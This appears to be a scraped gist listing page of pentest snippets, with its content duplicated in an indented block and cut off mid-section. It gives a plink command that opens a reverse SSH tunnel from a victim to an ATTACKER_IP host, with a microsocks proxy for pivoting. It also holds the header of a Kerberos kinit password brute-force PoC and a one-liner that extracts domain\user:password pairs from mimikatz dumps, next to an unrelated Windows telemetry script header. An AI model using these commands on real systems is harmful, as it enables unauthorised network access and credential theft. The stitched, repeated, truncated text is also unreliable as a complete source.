Chris King Raikia

## gist:42a10ac031fce4caef7c395a5658ed41
ATTACKER --> VICTIM

On victim:
    plink.exe ATTACKER_IP -p 22 -R 127.0.0.1:1234:VICTIM_IP:9999 -l ATTACKER_USERNAME -pw ATTACKER_PASSWORD
    ^ This will SSH to ATTACKER_IP and create port 1234 on ATTACKER_IP that will forward to VICTIM_IP port 9999

Then on victim again, run microsocks (https://github.com/rofl0r/microsocks, from the same guy who maintains proxychains)
    microsocks -i 0.0.0.0 -p 9999

## reclaimWindows10.ps1
##########
# Tweaked Win10 Initial Setup Script
# Primary Author: Disassembler <disassembler@dasm.cz>
# Modified by: alirobe <alirobe@alirobe.com> based on my personal preferences.
# Version: 2.20.2, 2018-09-14
# Primary Author Source: https://github.com/Disassembler0/Win10-Initial-Setup-Script
# Tweaked Source: https://gist.github.com/alirobe/7f3b34ad89a159e6daa1/
# Tweak difference:
#
#    @alirobe's version is a subset focused on safely disabling telemetry, some 'smart' features and 3rd party bloat ...

## kinit_brute.sh
#!/bin/bash

# Title: kinit_brute.sh
# Author: @ropnop
# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
# The script configures the realm and KDC for you based on the domain provided and the domain controller
# Since this configuration is only temporary though, if you want to actually *use* the TGT you should actually edit /etc/krb5.conf
# Only tested with Heimdal kerberos (error messages might be different for MIT clients). Install: $ apt-get install heimdal-clients


## One-liner Mimikatz Parser
Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"

First, before using these parsers, run:  "dos2unix mimikatz_dump.txt"

Mimikatz 1.0:

cat mimikatz_dump.txt  | grep -P '((Utilisateur principal)|(msv1_0)|(kerberos)|(ssp)|(wdigest)|(tspkg))\s+:\s+.+' | grep -v 'n\.' | sed -e 's/^\s\+[^:]*:\s\+//' | sed -e 's/Utilisateur principal\s\+:\s\+\(.*\)$/\n\1/' | sort -u


Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):
	ATTACKER --> VICTIM

	On victim:
	plink.exe ATTACKER_IP -p 22 -R 127.0.0.1:1234:VICTIM_IP:9999 -l ATTACKER_USERNAME -pw ATTACKER_PASSWORD
	^ This will SSH to ATTACKER_IP and create port 1234 on ATTACKER_IP that will forward to VICTIM_IP port 9999

	Then on victim again, run microsocks (https://github.com/rofl0r/microsocks, from the same guy who maintains proxychains)
	microsocks -i 0.0.0.0 -p 9999
	##########
	# Tweaked Win10 Initial Setup Script
	# Primary Author: Disassembler <disassembler@dasm.cz>
	# Modified by: alirobe <alirobe@alirobe.com> based on my personal preferences.
	# Version: 2.20.2, 2018-09-14
	# Primary Author Source: https://github.com/Disassembler0/Win10-Initial-Setup-Script
	# Tweaked Source: https://gist.github.com/alirobe/7f3b34ad89a159e6daa1/
	# Tweak difference:
	#
	# @alirobe's version is a subset focused on safely disabling telemetry, some 'smart' features and 3rd party bloat ...
	#!/bin/bash

	# Title: kinit_brute.sh
	# Author: @ropnop
	# Description: This is a PoC for bruteforcing passwords using 'kinit' to try to check out a TGT from a Domain Controller
	# The script configures the realm and KDC for you based on the domain provided and the domain controller
	# Since this configuration is only temporary though, if you want to actually use the TGT you should actually edit /etc/krb5.conf
	# Only tested with Heimdal kerberos (error messages might be different for MIT clients). Install: $ apt-get install heimdal-clients
	Assuming you have a mimikatz dump named "mimikatz_dump.txt", I made these bash one-liners that will reformat the mimikatz output to "domain\user:password"

	First, before using these parsers, run: "dos2unix mimikatz_dump.txt"

	Mimikatz 1.0:

	cat mimikatz_dump.txt \| grep -P '((Utilisateur principal)\|(msv1_0)\|(kerberos)\|(ssp)\|(wdigest)\|(tspkg))\s+:\s+.+' \| grep -v 'n\.' \| sed -e 's/^\s\+[^:]:\s\+//' \| sed -e 's/Utilisateur principal\s\+:\s\+\(.\)$/\n\1/' \| sort -u


	Mimikatz 2.0 (unfortunately, you must "apt-get install pcregrep" because reasons):